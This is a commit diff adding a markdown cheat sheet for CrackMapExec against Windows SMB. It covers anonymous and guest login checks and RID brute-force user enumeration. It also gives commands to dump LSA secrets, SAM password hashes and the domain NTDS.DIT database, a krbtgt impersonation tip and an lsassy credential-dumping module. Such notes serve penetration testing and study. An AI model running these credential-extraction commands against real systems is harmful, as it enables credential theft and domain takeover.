first commit

Windows/SMB/crackmapexec.md

@@ -0,0 +1,101 @@
+### SMB Server Information and Enumeration Techniques
+
+#### **Basic Connection to SMB Server:**
+```bash
+cme smb <IP>
+```
+- Establishes a connection to the SMB server at the specified IP.
+- Verifies if the SMB service is active and responsive.
+
+---
+
+#### **Testing Null or Anonymous Access:**
+```bash
+cme smb <IP> -u '' -p ''
+```
+- Attempts a connection to the SMB server without session credentials.
+- Useful for identifying if guest or anonymous access is permitted on the server.
+
+---
+
+#### **Guest Account Access Check:**
+```bash
+cme smb <IP> -u 'guest' -p ''
+```
+- Connects using the ‘guest’ account with no password.
+- Can help identify if guest access is enabled and examine associated permissions.
+
+---
+
+#### **User Enumeration via RID Brute Force:**
+```bash
+cme smb <IP> -u 'USER' -p 'PASSWORD' --rid-brute
+```
+- Performs RID brute-forcing to enumerate all users on the SMB server.
+- Useful for gathering a complete list of valid usernames, aiding further enumeration or exploitation.
+  - *Tip:* Use the `-k` flag to switch to Kerberos if NTLM authentication is disabled on the target.
+
+---
+
+#### **Local Admin Data Extraction:**
+If local admin privileges are confirmed, use the following commands:
+
+- **Dump LSA (Local Security Authority) Data:**
+   ```bash
+   cme smb <IP> --lsa
+   ```
+   - Dumps sensitive LSA data, such as stored credentials and session tokens.
+
+- **Extract SAM Database (Security Account Manager):**
+   ```bash
+   cme smb <IP> --sam
+   ```
+   - Retrieves the SAM database, containing local user information and password hashes.
+
+*Note:* Ensure local admin privileges before using `--lsa` or `--sam`, as these commands extract highly sensitive information.
+
+---
+
+### Enhancing CME Logging with `cme.conf`
+
+Customize logging within CME’s configuration file (`cme.conf`) for more detailed logging and custom success messages.
+
+- **Example Configuration:**
+  ```plaintext
+  pwn3d_label = Admin! # Customize success message to "Admin!" upon login
+  log_mode = True      # Enables verbose logging for auditing and troubleshooting
+  ```
+
+Enabling `log_mode` provides detailed output, which is useful for tracking activities or debugging issues.
+
+---
+
+### Extracting NTDS.DIT for Domain-Wide Credential Access
+```bash
+cme smb <IP> --ntds
+```
+- Extracts the NTDS.DIT database, which holds domain user and machine credentials.
+- Effective for gaining access to the entire domain credential set, a key target in domain compromise scenarios.
+  - *Tip:* Use `--user krbtgt` to leverage the Krbtgt account for impersonating any user.
+
+*Prerequisite:* Requires domain admin privileges or equivalent to access NTDS.DIT data.
+
+---
+### Mimikatz Alternative
+
+```bash
+cme smb <IP> -M lssasy
+```
+
+
+---
+
+
+### Additional Best Practices and Tips
+
+- **NTLM vs. Kerberos Authentication**: If NTLM is disabled, specify `-k` to enable Kerberos, the preferred protocol on many modern domains.
+- **Privilege Requirements Awareness**: Commands like `--lsa` and `--sam` need elevated privileges. Verify your access level before executing commands with high privilege requirements.
+- **Secure Password Handling**: Avoid hardcoding sensitive passwords directly in command-line inputs. Instead, reference stored credentials securely to prevent exposure in logs.
+
+---
+